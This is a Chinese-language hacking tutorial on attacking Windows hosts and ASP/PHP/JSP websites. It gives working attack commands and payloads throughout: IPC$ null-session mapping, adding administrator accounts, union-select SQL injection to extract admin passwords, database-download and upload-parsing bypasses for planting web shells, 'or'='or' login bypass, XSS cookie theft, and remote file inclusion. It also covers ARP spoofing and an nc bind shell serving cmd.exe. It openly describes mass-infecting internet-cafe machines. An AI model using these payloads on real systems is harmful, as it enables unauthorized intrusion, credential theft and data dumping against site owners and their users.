1章 内容：端口 命令
1，端口，这个很让人理解的字眼，电脑的端口一共有65535个，但实际用到的却只有几十个，常见的端口
3389，4899，135，445，5900，1433，3306，1521，21，80，23，25，53等等，端口就像一座房子的烟囱一样，如果打开了，就可能会面临着一些风险，如3389，这是远程桌面的端口，他主要用于两个方面，一是实现网络交互的过程，一台电脑连接到另外一台电脑的桌面，第二个方面就是被黑客的提权利用，命令是MSTSC，而3389端口入侵正是实现了这样的功能，而3389针对的是WINXP的系统空密码，也就是说，XP系统的用户如果密码为空，3389端口也打开的情况下，如果被黑客扫描到，那么就可以远程被利用，黑客通过IP地址，远程连接，并在窗口输入administrators,
密码为空，直接确定，就可以看到对方的桌面了，但3389有个弊端，如果对方发现，移动了鼠标，那么远程桌面将关闭。而空密码与空连接就是不同的方式了，空连接是IPC空连接 ，利用格式为：net use \\ip\ipc$ "" /user:"admin", 意思就是密码都空的时候对目标地址进行空连接，如果成功，那么就可以实现一个映射的功能 net use z: \\ip\c$,这就是远程映射的功能，把目标服务器的C盘映射为本地的Z盘，对方的盘符，我们在本地的Z盘可以访问对方C的内容了。开启3389服务器就是在系统设置里的远程，允许用户远程连接打勾就可以了。
4899，4899端口其实跟3389的模式是差不多的，而4899是通过RAMIN影子服务端进行连接，4899通常是针对空密码的用户，如果漏洞存在，可以通过影子服务端远程连接，实现远程控制的功能。
135，135端口准确的说他是一个溢出端口，如果在网吧，我们可以使用命令 NETSTAT －AN ，这个命令是查看开放了哪些端口，而一般情况下，网吧都开放了135与445端口，而不怀好意的人就会使用远程控制软件生成木马，内网映射成功后，就可以批量的进行传马到其他机器，这样很多电脑都因此成为了肉鸡
5900，5900端口一般针对国外服务器，攻击者可以使用VNC连接器对5900国外服务器进行批量检测，这个方式要用到VPN代理技术，而扫描方式通常会选择SYN，省去了TCP延时的问题
1433，想必大家对1433这个端口很熟悉，没错，他是SQL SERVER的端口，而1433通常去寻找SA的弱口令进行检测，1433连接工具就发挥了这个作用，利用者通过得到的密码文件，输入用户名与密码以及数据库的名字，远程连接对方的数据库，接着执行SQL提权命令，成功达到服务器侵入的目的。
3306， MYSQL的端口，漏洞存放目录一般为conn.asp config.php common.inc.php 里面存在网站的根目录下，利用者得到了此数据，一般有两个方向，1，MYSQL脱库，2，MYSQL提权 ，MYSQL脱库是针对的论坛服务器，会员数据，利用MYSQL远程连接数据库，一般是找到SELECT ＊ FROM MEMBERS表的位置，然后导出文件SQL到本地，里面存放的就是会员的详细数据了。而MYSQL提权就是提升权限，需要导注册表的DLL文件，然后执行SQL命令增加一个管理组，而一般MYSQL数据库大于5.0时，导出就必须是安装目录了，小于5，0的话可以导出到
：c:/windows/udf.dll，因为后期版本官方也做了一些限制！
命令也是同样重要的，如WIN与LINUX的系统命令，MS－DOS环境下的命令，大概的命令要记住
WIN: NET USER ADD ADD /ADD NET LOCALGROUP ADMINISTRATORS ADD /ADD 加入管理组帐号
WMIC PROCESS 查看当前系统进程详细路径
ARP －A 查看当前的系统MAC地址
TRACERT －D 追踪路由
PING 测试命令
systeminfo 查看系统配置信息
md ren rd 新建目录，目录改名，删除目录
NETSTAT －V 正在进行的工作 －A 查看当前监听的端口 －N 正在进行的连接 －AN 查看开放了哪些端口
AT 计划任务
二章 内容： WEB脚本安全
WEB脚本安全，也是网络安全的一个重中之重，如何认识脚本安全呢?
首先我们得对网站的类型与架构要有所了解，如ASP网站，PHP网站，JSP网站，ASPX网站，CGI等等
一般安全性通常为：ASP－－>PHP-->ASPX-->JSP--<
可以看出，ASP的安全性是最低的，我们都知道一个网站的程序是程序员设计的，那么程序设计中
有可能会出现漏洞，一旦有漏洞，就会被一些人成功利用，这就是WEB脚本安全，学习脚本安全对于
自身对WEB安全有一定认识，并熟练掌握WEB攻防相关技术。
服务器管理员把网站架设到外网，实现了多人访问的目的，那么服务器是开着，既然有外部网络通讯这一功能
，那么脚本安全就诞生了，一个技术诞生也意味着另外一个技术的衍生，比如汇编，反汇编，同样的道理，利用者通过
外部网站所架设的虚拟站点进行逐一检测，最终发现漏洞。
原理：通过程序设计漏洞远程写入脚本木马到服务器网站根目录下，接着连接外部路径地址，形成网络后门。
优点：服务器单向渗透并指于异常困难，而脚本安全就取而代之了，通过脚本得到SHELL的权限后再去执行服务器提升这样一个途径。
ASP 网站漏洞分析：
一般ASP的网站 应用于小型公司企业所需求
常见漏洞：SQL注入 ，爆库，目录遍历，越权访问，上传，弱密，社会工程学，XSS , 编辑器, COOKIE, OR，FTP，穷举
SQL漏洞原因：变量过滤不严，
爆库是由于没有写容错代码
注入测试方法：AND 1＝1 AND 1＝2 前提是动态网站，而非静态
在网站上打开一个新闻的动态页面，然后打一‘提交
http://www.baidu.com/asp/asp?id=30%20and%201=1 正常
http://www.baidu.com/asp/asp?id=30%20and%201=2 错误
存在注入 ，工具注入，以及手工注入都是可以的
需要进行猜表，表名，列名，以及用户，最后获得密码
密码一般都是16进制加密，需要到专门的MD5网站进行解密
爆库，一般分为两种，一种是CONN爆库 %5C爆库 %23爆库
CONN爆库是由于管理员没有阻止外部人员对此文件的访问
导致可以访问：http://www.adminx.com/admin/conn.asp 如果报错一定会出现数据库的具体路径
http://www.adminx.com/inc/config.asp 一般是禁止的
http://www.adminx.com/inc/conn.asp 一般为空白
％5C是二级目录的爆库方式
格式为：http://www.admin.com/asp/uid?id=1 正常页面
http://www.admin.com/asp/%5cuid?id=1 如果成功会"弹出数据库下载"
％23是针对数据库爆库
我们知道，数据库的表达格式是www.xxx.com/data www.xxx.com/database www.xxx.com/datas
通常这些都是403禁止的，假如我们如果知道数据库的真实下载地址
表达式：http://www.xxx.com/databases/#xin_wenku.mdb 访问后会显示禁止页面
http://www.xxx.com/databases/%23xin_wenku.mdb 访问后会弹出MDB数据库下载
目录遍历就是管理员对网站根目录下的子目录权限访问没有做限制
导致利用者可以访问到这些目录，从而对下一步收集信息作为必要条件
表达式：http:www.xxx.com/manage/../ 目录遍历，可以看到很多目录
越权访问，就是管理员对目录文件下的后台操作文件页面的权限没做限制，导致利用者可以以匿名的方式访问
到系统后台的内容，这样是很危险的，利用者有时候四俩薄千金就侵入了一个站点
表达式：http://www.xxx.com/manage/asp/edit.moneyasp?id=#
可能出现的页面： 新闻发布页面，管理员添加页面，会员列表页面，网站布局页面等
上传漏洞 ，也就是网站的图片上传点，有的上传地址很隐秘，本来是用来用户组上传图片，或者头像，或者是公司的PDF，XLS，DOC文件用的，但有的人却用来利用
常见的上传漏洞页面有很多 ，方法有：GIF89A 图片木马伪装， 一句话漏洞 ，IIS解析
表达式：http://www.xxx.com/include/upload.jsp http://www.com/include_admin/upload.asp http://www.com/upload_class.asp
例如利用者把上传页面的源码保存到本地记事本，然后在第一行写入GIF89A，再进行图片提交
或者使用一句话木马的方式合并到图片中，上传 比如之前早期的NGINX漏洞就是利用的IIS双向解析功能实现
表达式：http://www.xxx.com/php/ass/1.jpg/先访问这个图片地址 ，如果能正常显示，再合访问0x.php
http://www.xxx.com/php/ass/1.jpg/0x.php 会出现空白，你会发现什么也没有，其实是后门成功了！
通过一句话木马PHP客户端连接，输入密码就可以上传脚本木马到网站根目录获得WEBSHELL的权限
解析表达式：1.asp;.jpg 1.jpg.asp 2.asa;.gif 0x;x.jpg;0x;y.jpg
意思就是末尾虽然是图片的格式，但他会通过ASP，ASA这样的方式去执行这个图片，其实相当于执行了我们的脚本木马了！
弱密码，有的网站，管理员一般把密码设置得过于简单化，如123，456，123456 ADMIN ADMIN888 ADMIN123 这样的密码很可能被黑客攻破
导致网站的安全性受到威胁！
社会工程学，这个是相当强大的一门技术，他需要掌握与洞察它人的心理状态，其实意为‘心理破解者"，如破解一个邮箱，他需要先收集这个主人一切可利用的资料，通过分析，分析这个人的日常状态，日常习惯，等等最后破译密码！很多书店也有卖这样的书籍，价格一般都在30－40元左右！
XSS, 一般分别XSS跨站攻击，以及XSS盲打 它是一种被动式攻击
基本表达式：<script>alert("1")</script> 弹出消息对话框：1
<script>alert(document.cookie)</script> 弹出COOKIE值
<script>window.open("http://baidu.com")</script> 打开百度网站
跨站表达式：www.xxx.com/asp/asp?id="><script>alert("0")</script>
挂马跨站表达式 www.xxx.com/asp/asp?id=<iframe src="url">0x</iframe> 需要把他转换为HEX格式
框架嵌入动态表达式：www.xxx.com/asp/asp?id=<iframe src="url">0x</iframe><marquee>hello</marquee>
而盲打技术，是针对自己写一个JS代码 ，通过留言页面，管理员一般会审核这样的信息，当他点击后，COOKIE就被自动保存到我们的后门中
表达式:http://www.xxx.com/cookie/cookie.asp
编辑器漏洞，应该有出现的时间很早 ，一般分为EWEB与FCKEDITOR 漏洞
编辑器后台一般为 ewebeditor/admin_login.asp
ewebeditor/ewebeditor.aspx ewebeditor/ewebeditor.htm ewebeditor/ewebeditor.asp?id=1 ewebeditor/admin_style.asp
ewebeditor/admin/db/#ewebeditor.mdb ,ewebeditor/db/#ewebedior1033.mdb
密码一般为 ADMIN888 ADMIN ADMIN999
FCKEDITOR 编辑器的漏洞
利用的方式也很多
PHP CMS 就可以利用编辑器上传获得权限
HTTP://WWW.XXX.COM/ADMIN/FCKEDITOR/../.../../
COOKIS中转，这个漏洞的形成是因为我们在SQL注入失败的情况下，所采取的另外一种注入方式，简称COOKIE注入
准备工具：小旋风ASP环境 ，注入，猜表工具
首先将环境端口设置为82或者81
接着找一个页面生成127页面
对比表达式：http://www.xxx.com/asp/aasp?id=1 注入失败
http://127.0.0.1:81/ROOT地址/POST提交值 可以注入
OR漏洞 ，熟知的 ‘or‘=‘or‘ 漏洞
针对一些ASP公司网站的后台管理系统，用户密码均输入‘or‘=‘or‘
如果成功，可以直接进入后台
USER：‘OR’＝‘OR’
NAME： ‘OR’＝‘OR’
FTP的漏洞一般出现于2个特点 ： 匿名访问 ，弱密码
表达式：ftp://www.xxx.com 匿名访问，直接进入
弱密码：ftp:www.cc.com user:ftp pass:[email protected] 输入密码后进入
如在FTP里放入一个TXT ，内容写为1
那么访问时，也可以 http:wwww.cc.com/1.txt
穷举法针对系统爆破工程 ，一般分别DIC文件字典的爆破方式，收集很多现成的字典，对某个邮箱，或者某个QQ的密码或者某个网站的后台，
进行指定破解，时间耗费很长！
php 网站漏洞分析
一般漏洞首先就是注入了，
表示式:http://www.ccc.com/asp/php?id=10%20order%20by%201 猜字段
http://www.ccc.com/asp/php?id=10%20order%20by%2018 正常
http://www.ccc.com/asp/php?id=10%20order%20by%2020 错误
可以判断字段19个，依次拼写19个字段在地址中 ，3个常用变量，database() version user()
3个函数转换要知道 ，c:/win.ini load_file(), 注射时还可以使用HEX（MID函数进行读路径）
路径表达式：d:/wwwroot/php/uc/config.php
表达式：http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 页面显示正常既为成功
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin 如果错误页面找不到
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user 页面正常既为找到，一般会显示出几个数字，如3，6，8，等字样，我们一般就取3与6
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user 查看用户: [email protected]
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user 查看数据库的版本，大于5，0可以爆库
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,databse(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user 查看数据库的名字
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,user,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user 页面正常既为猜到用户与密码，反之会返回错误404
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,load_file(读取INI地址),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,HEX(MID),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user
还有就是一些系统源码的ODAY，比如动网论坛，动易，老Y文章系统，动科，风讯，DEDECMS织梦，帝国CMS
等等，一般遇到这类的漏洞，有的是EXP注射，有的则需要GET SHELL，自己搭建好PHP环境，接着在DOS窗口里输入命令执行相关漏洞，如开源工具MSF ，就是集成的溢出平台，需要哪个直接通过命令调用就可以了 命令为：show exploits
除此之外，还有PHP文件包含漏洞
表达格式：http://www.a.com/asp/id=http://www.b.com/1.php
也就是说在A点取得的权限，通过源码系统，之间到B点进行读取，这样的话，B点就被利用了，我们就这样获得了B的权限
但前提是在A点先取得权限！
包括ASPX，出现的有时候会出现一个CER表单漏洞，或者是万能密码漏洞
JSP 漏洞分析
JSP一般用于，银行，新闻门户站，安全性在外人看来相对较高，但JSP安全性虽然最高，但要说明的是，在提权技术里，JSP权限却是最大的，而相对于不太安全的ASP网站，ASP匿名的权限却降低了！MYSQL有时候也会出现降权！
漏洞一般存在于JS校检未过滤
导致上传
二级域名上传漏洞
表达式：http:www.xx.gov.cn http://ad.xx.gov.cn/upload.asp http://svx.xx.gov.com/upload.php
<form>
<form action="sadd.jsp" method="post"><br/>
<input type="file" ><br/>
<input type="submit" value="go!">
</form>
后台管理权限技术
假如我们通过一个很简单的密码测试进入了自己搭建的网站后台，这时候我们需要获得WEBSHELL权限的时候，就可以通过各种途径了，方法有很多
例如数据库备份，抓包改包，搭建地址两次上传，解析，直接上传，等等
允许的格式：gif,bmp,jpg
禁止的格式：cer,asp,php,jsp,aspx
旁注漏洞的诞生，也就是网站服务器上，捆绑了很多域名，有购物网，人才网，新闻网，我们目标是新闻网，而新闻网通过测试并未发现很多漏洞，这时候我们就可以人才网入手，去检测，最终通过跨目录，或者ASPX IIS 权限读写的方式获得新闻网的权限
C段，也就是可以IP地址来表示 ，一个IP段 210.44.123.1-219.44.123.255 之间的255台机器，比如，利用者的目标是210，44，123，5这个地址
这时候我们只需要在这个段里检测成功一台服务器后，在服务器里执行嗅探，如果对方目标未装防火墙，则会被嗅探到，这就是服务器分离状态下的利用方式
表达式： a : 》 b: 》
-- a 目标服务器
b++ 在B段里找一台同网段的服务器
b++ =a 最终嗅到数据，最后指向目标A
而劫持，与欺骗，都是在cain 与NET FUCER里面完成的
劫持，一般分为域名劫持，以及ARP劫持
一般是在同网段服务器里与C段一样的方式，但不同的是，他运用的是劫持
也就是发送欺骗流量包给目标服务器，服务器被欺骗后主页文件就自动被改成我们想要的内容了。
而欺骗，一般是ARP，或者是DNS欺骗，ARP欺骗主要是欺骗目标机器的3389 HOST文件，文本格式
利用C32反汇编工具打开可以清楚的看到在地址的后边，用户与密码就泄露了
服务器提权技术
在自行搭建的SHELL网站里，如果不会提权，那么就无法进行下一步
所以我们需要学习提权技术
而提权技术一般分别 WIN LINUX提权
常用工具：巴西烤肉 ，PR大杀器 ，NC监听，LCX转发 ，WIN2003内核溢出 ，IIS6，0， MS，EXE ，SHIFT后门
提权的步骤
1，检查网站的权限，如ASP匿名权限 ，是否支持ASPX
2，检查WC组件是否支持
3，一般来说，回收站与TEMP目录权限是比较大的
4，检查CONFIG，ASP，CONN。ASP相关密码
5，检查FXP 传输工具的文件
5，检查是否安装PCANYWHERE
6，是否安装SERTU FTP服务器
7，检查3389端口是否开启
8，检查目录文件程序是否可以替换
9，检查RAMIN密码是否存在
10，检查检查是否支持JSP权限
这是外网的方式，而遇到内网的时候，则需要转发 ，首先得本地监听，再转发到3389，利用本地127地址：监听端口去连接对方3389
NC反弹命令： C:/winodws/nc.exe -l -p 5858 -t -e c:/windows/cmd.exe
还有一个就是SHELL CODE ，牛人的道路从这里启航！